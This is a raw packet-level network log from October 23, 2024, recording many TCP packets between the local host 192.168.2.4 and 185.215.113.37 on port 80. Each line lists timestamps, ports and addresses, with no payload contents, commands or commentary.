Oct 23, 2024 15:48:21.592020035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.592025995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.592026949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.592053890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.592086077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.592093945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.592093945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.592118979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.592153072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.592168093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.592168093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.592185974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.592219114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.592226982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.592226982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.592252970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.592284918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.592286110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.592324018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.592336893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.592336893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.592358112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.592391968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.592400074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.592400074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.592426062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.592458963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.592466116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.592466116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.592493057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.592528105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.592533112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.592533112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.592561007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.592595100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.592602015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.592602015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.592627048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.592660904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.592669010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.592669010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.592736006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.592770100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.592777014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.592777014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.592818975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.592852116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.592861891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.592861891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.592866898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.592883110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.592895031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.592899084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.592915058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.592930079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.592930079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.592930079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.592947960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.592963934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.592979908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.592981100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.592981100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.592994928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.593008041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.593010902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.593027115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.593028069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.593044996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.593059063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.593075991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.593077898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.593077898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.593091011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.593106985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.593122959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.593127966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.593127966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.593138933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.593154907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.593169928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.593169928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.593170881 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.593185902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.593202114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.593209982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.593209982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.593219042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.593234062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.593249083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.593256950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.593256950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.593266964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.593281031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.593311071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.593311071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.623982906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.624047041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.624099016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.624135971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.624186039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.624186039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.624238014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.624250889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.624252081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.624270916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.624283075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.624308109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.624313116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.624313116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.624341965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.624383926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.624383926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.624397039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.624427080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.624466896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.624466896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.624476910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.624525070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.624558926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.624567032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.624567032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.624592066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.624634027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.624634027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.624641895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.624676943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.624711037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.624717951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.624717951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.624743938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.624787092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.624787092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.624891043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.624926090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.624958038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.624968052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.624968052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.624991894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.625025988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.625035048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.625035048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.625058889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.625092983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.625099897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.625099897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.625125885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.625159025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.625168085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.625168085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.625193119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.625226021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.625235081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.625235081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.625260115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.625292063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.625305891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.625305891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.625328064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.625360012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.625370979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.625370979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.625394106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.625427008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.625436068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.625436068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.625468969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.625500917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.625511885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.625511885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.625535965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.625569105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.625577927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.625577927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.625602007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.625643969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.625643969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.665688038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.665788889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.665828943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.665832043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.665832043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.665904045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.699034929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.699088097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.699105024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.699125051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.699171066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.699171066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.699178934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.699230909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.699230909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.699284077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.699284077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.699333906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.699354887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.699390888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.699402094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.699426889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.699460983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.699481010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.699481010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.699496031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.699529886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.699539900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.699539900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.699563980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.699578047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.699599981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.699625015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.699649096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.699688911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.699758053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.699801922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.699801922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.699809074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.699858904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.699892044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.699903011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.699903011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.699944019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.699976921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.699985981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.699985981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.700011015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.700043917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.700051069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.700051069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.700102091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.700136900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.700145006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.700145006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.700186968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.700221062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.700227976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.700227976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.700254917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.700284004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.700288057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.700324059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.700329065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.700329065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.700359106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.700372934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.700392008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.700424910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.700459957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.700468063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.700468063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.700494051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.700527906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.700536966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.700536966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.700561047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.700599909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.700599909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.700884104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.700936079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.700969934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.700970888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.700970888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.701034069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.701073885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.701073885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.701081991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.701117039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.701150894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.701158047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.701158047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.701184988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.701225042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.701225042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.701234102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.701268911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.701303005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.701308966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.701308966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.701337099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.701370001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.701379061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.701379061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.701404095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.701436996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.701445103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.701445103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.701469898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.701503992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.701522112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.701522112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.701536894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.701570034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.701579094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.701579094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.701620102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.701621056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.701669931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.701670885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.701706886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.701725006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.701736927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.701771021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.701781988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.701781988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.701812029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.701821089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.701855898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.701872110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.701889992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.701921940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.701929092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.701929092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.701961040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.701992989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.702002048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.702002048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.702028036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.702059984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.702069044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.702069044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.702094078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.702126026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.702132940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.702132940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.702158928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.702191114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.702203035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.702203035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.702224016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.702259064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.702265978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.702265978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.702291965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.702328920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.702328920 CEST	49730	80	192.168.2.4	185.215.113.37
